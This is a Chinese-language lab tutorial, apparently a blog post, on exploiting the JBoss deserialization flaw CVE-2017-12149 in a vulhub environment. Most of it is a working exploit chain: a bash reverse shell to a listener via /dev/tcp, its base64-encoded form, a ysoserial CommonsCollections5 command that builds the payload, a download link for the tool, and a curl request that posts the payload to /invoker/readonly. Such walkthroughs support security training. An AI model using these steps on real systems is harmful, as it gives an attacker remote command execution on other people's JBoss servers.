中间件安全:JBoss 反序列化命令执行漏洞.(CVE-2017-12149)
JBoss 反序列化漏洞,该漏洞位于 JBoss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中,其 doFilter 方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致恶意访问者通过精心设计的序列化数据执行任意代码。
目录:
中间件安全:JBoss 反序列化命令执行漏洞.(CVE-2017-12149)
漏洞靶场:
靶场准备:Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场-CSDN博客
漏洞测试:
第一步:访问存在的漏洞 URL 链接.
第二步:使用 Base64 编码,把 需要映射连接的代码 进行编码.
第三步:使用 工具 把代码生成一个可上传的文件.
第四步:监听的主机进行监听(我这里是 172.16.10.136 主机,监听端口是 5566 和编码一样就行.)
第五步:把生成的文件上传到存在漏洞的页面就行,监听主机那边就会返回对方的命令页面.
常用的默认端口:1098,1099,4444,4445,8080,8009,8083,8093
受影响系统及应用版本 Jboss AS 5.x、Jboss AS 6.x
漏洞靶场:
靶场准备:Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场-CSDN博客
cd vulhub/jboss/CVE-2017-12149 // 切换到漏洞目录.
docker-compose up -d // 开启漏洞靶场.
http://172.16.10.129:8080
# 访问开启服务的IP地址:8080
漏洞测试:
第一步:访问存在的漏洞 URL 链接.
http://172.16.10.129:8080/invoker/readonly
http://漏洞的IP地址:端口/invoker/readonly # 后面的是存在漏洞的页面.
第二步:使用 Base64 编码,把 需要映射连接的代码 进行编码.
bash -i >& /dev/tcp/172.16.10.136/5566 0>&1
bash -i >& /dev/tcp/监听主机的IP地址(kali)/监听端口 0>&1
第三步:使用 工具 把代码生成一个可上传的文件.
工具链接:
链接:https://pan.baidu.com/s/11_V9awYc1qnTpG3JIDPwYQ
提取码:tian
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAuMTM2OjU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAuMTM2OjU1NjYgMD4mMQ==
#这个就是上面的 需要映射连接的代码 进行了编码,别的IP则进行别的编码就行.
第四步:监听的主机进行监听(我这里是 172.16.10.136 主机,监听端口是 5566 和编码一样就行.)
第五步:把生成的文件上传到存在漏洞的页面就行,监听主机那边就会返回对方的命令页面.
curl http://172.16.10.129:8080/invoker/readonly --data-binary @poc.ser
curl http://目标IP地址/端口/invoker/readonly --data-binary 上传这个文件.